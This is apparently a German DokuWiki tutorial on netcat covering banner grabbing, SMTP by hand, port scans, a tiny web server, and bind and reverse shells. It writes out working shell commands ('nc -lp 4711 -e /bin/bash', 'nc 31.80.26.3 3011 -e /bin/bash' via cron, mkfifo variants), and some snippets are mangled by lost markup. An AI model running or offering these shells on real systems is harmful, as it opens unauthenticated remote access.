====== netcat ======
NetzKatze oder das Schweizer-Taschenmesser des Netzwerkadministrators...
NetCat (''nc'') ist ein kleines universelles Werkzeug im Netzwerkbereich. Analog zu ''cat'' erlaubt NetCat das lesen -aber auch- von und in Netzwerkverbindungen.\\
Es gibt verschiedene Implementierungen von NetCat (gnu-netcat, netcat6, openbsd-netcat,nc für Windows,...). Diese unterscheiden sich teilweise in den verfügbaren Optionen und Fähigkeiten
===== Servertest =====
Besonders zum Testen (oder zum Bannergrabbing) eignet sich NetCat hervorragend:\\
''echo -e 'GET / HTTP/1.1\r\nHost: wiki.butzel.net\r\n\r' | nc git.butzel.net 80''\\
\\
Dies gilt natürlich nicht nur für HTTP, sondern auch für andere Protokolle
* FTP: ''nc arnold.c64.org 21''
* [[#Telnet]]: ''nc -t 1984.ws 23''
* Versenden einer Email via SMTP
echo -en "EHLO domain.tld\r\nMAIL FROM: ich@domain.tld\r\nRCPT TO:du@other.domain\r\nDATA\r\nSubject: Betreff\r\n\r\nMailtext. Blah laber fasel...\r\n\r\n.\r\nquit\r\n" | nc smtp.server.local 25
==== Telnet ====
'' nc -t 23 '' oder\\
'' nc -C 23 ''\\
Parameter:
* ''-t'' oder ''-C'' schaltet NetCat in den Telnet-Modus (je nach Implementierung)
* '''' = IP-Adresse oder DNS-Name des Zielsystemes
* ''23'' Telnet-Port
Beispiele:
* [[zzlinks:terminallinks| Beispiele]]
===== Port-Scan =====
Auch als Port-Scanner lässt sich NetCat verwenden:
''nc -vvznw 1 ''\\
Parameter:
* ''-vv'' = verbose / very verbose ;)
* ''-z'' = zero data = Keine Daten senden
* ''-n'' = keine Namensauflösung (kein DNS)
* ''-w #'' = Timeout in Sekunden zum Lesen
* '''' = IP-Adresse oder DNS-Name des Zielsystemes
* '''' = Port oder (je nach Implementierung) Port-Range, z.B.
* ''1-1024'' alle Ports von 1 bis 1024
* ''22,23,25,53,80,119'' die angegebenen Ports
* ''20-25,53,80-123'' Kombination der Möglichkeiten
Beispiel-Script für mehrere IP-Adressen
## gegeben sei eine Text-Datei 'ips.txt' mit einer IP-Adresse je Zeile
while read IP
do
nc -nvvzw 1 $IP 20-25,80,443,8080,8443
done
===== Listener (Server) =====
'' nc -lp '' oder \\
'' nc -l ''\\
Parameter:
* ''-l'' startet den Listener, wartet auf eine eingehende Verbindung
* ''-p '' gibt den Port an
* '''' nur auf IP-Adresse lauschen (z.B. 127.0.0.1)
* dann werden Anfragen von anderen Computern nicht entgegengenommen
==== Web-Server ====
Dank des Listeners kann NetCat auch einen simplen WebServer repäsentieren:\\
Ausgabe einer statischen Webseite:
## Vorbereitungen zur Erstellung einer einfachen Seite mit Header
# Webseite:
echo "BeispielBeispiel-Seite mit NetCat" >> index.html
# HTTP-Header:
echo -en "HTTP/1.1 200 OK\r\nContent-Length: $(cat index.html|wc -c)\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\n\r\n" > index.http
# Zusammenführen
cat index.html >> index.http && rm index.html
## Webserver mit Netcat
while true; do nc -lp 80 < index.http ; done
Beispiel einer 'unsauberen' Umleitung nach [[www.butzel.info]]
REDIR="http://www.butzel.info"
REDIR="Weiterleitung zu: $REDIRWeiterleitung zu:
"
REDIR="HTTP/1.1 200 OK\r\nContent-Length: $(echo $REDIR|wc -c)\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\n\r\n$REDIR"
while true; do echo -en $REDIR|nc -lp 80 -w 5 &>/dev/null ; done
===== Remote Shell =====
NetCat kann auch als Remote-Shell verwendet werden:\\
'' nc -lp 4711 -e /bin/bash ''
* ''-l'' Listener, welcher auf eine eingehende Verbindung wartet
* ''-p 4711'' auf Port 4711
* ''-c'' oder ''-e'' führt einen Befehl (z.B. ''/bin/bash'') bei Verbindung aus
* dabei werden **stdout** & **stderror** an die Gegenstelle geleitet
* und alle Daten aus der Netzwerkverbindung an **stdin** des Befehles geleitet
Beispiel:
- im ersten Terminal: '' nc -lp 4711 -e /bin/bash''
- in einem weiteren Terminal: '' nc 127.0.0.1 4711 ''
- verwenden von Befehlen wie:
* ''ls''
* ''whoami''
* ''cat /etc/passwd'' oder ''exit''
Dies funktioniert natürlich auch auf unterschiedlichen Computern. Die Befehle werden immer mit dem Nutzerrechten ausgeführt, der den Parameter ''-e'' (bzw. ''-c'') verwendete (vergl. ''whoami''). Eine Authentifizierung wird hier nicht benötigt und findet nicht statt!\\
\\
====Reverse Shell ====
Natürlich lässt sich dies auch umkehren - als sogenannte //Reverse Shell//. Wenn z.B. das fernzusteuernde System in einem [[https://de.wikipedia.org/wiki/Netzwerkadress%C3%BCbersetzung|"NAT]]-Netzwerk" liegt:
- auf dem lokalen System (IP: 31.80.26.3) den Listener starten '' nc -lp 3011 ''
- auf dem remote System die Verbindung initieren (z.B. via Cron-Job) ''nc 31.80.26.3 3011 -e /bin/bash''
\\
==== Einschränkungen ====
=== weder -e noch -c ===
Es gibt jedoch auch einige Implementierungen welche - aus Sicherheitsgründen - diese Parameter ''-e'' oder ''-c'' nicht zur Verfügung stellen.\\
Aber auch hier gibt es Möglichkeiten (aus der Manpage ''man nc'' )
* '' mkfifo /tmp/fifo; nc -l 4711 0/tmp/fifo 2>&1; rm /tmp/fifo''
* für eine [[#reverse|ReverseShell]]
* '' mkfifo /tmp/fifo; nc raspi.butzel.net 4711 0/tmp/fifo 2>&1; rm /tmp/fifo''
\\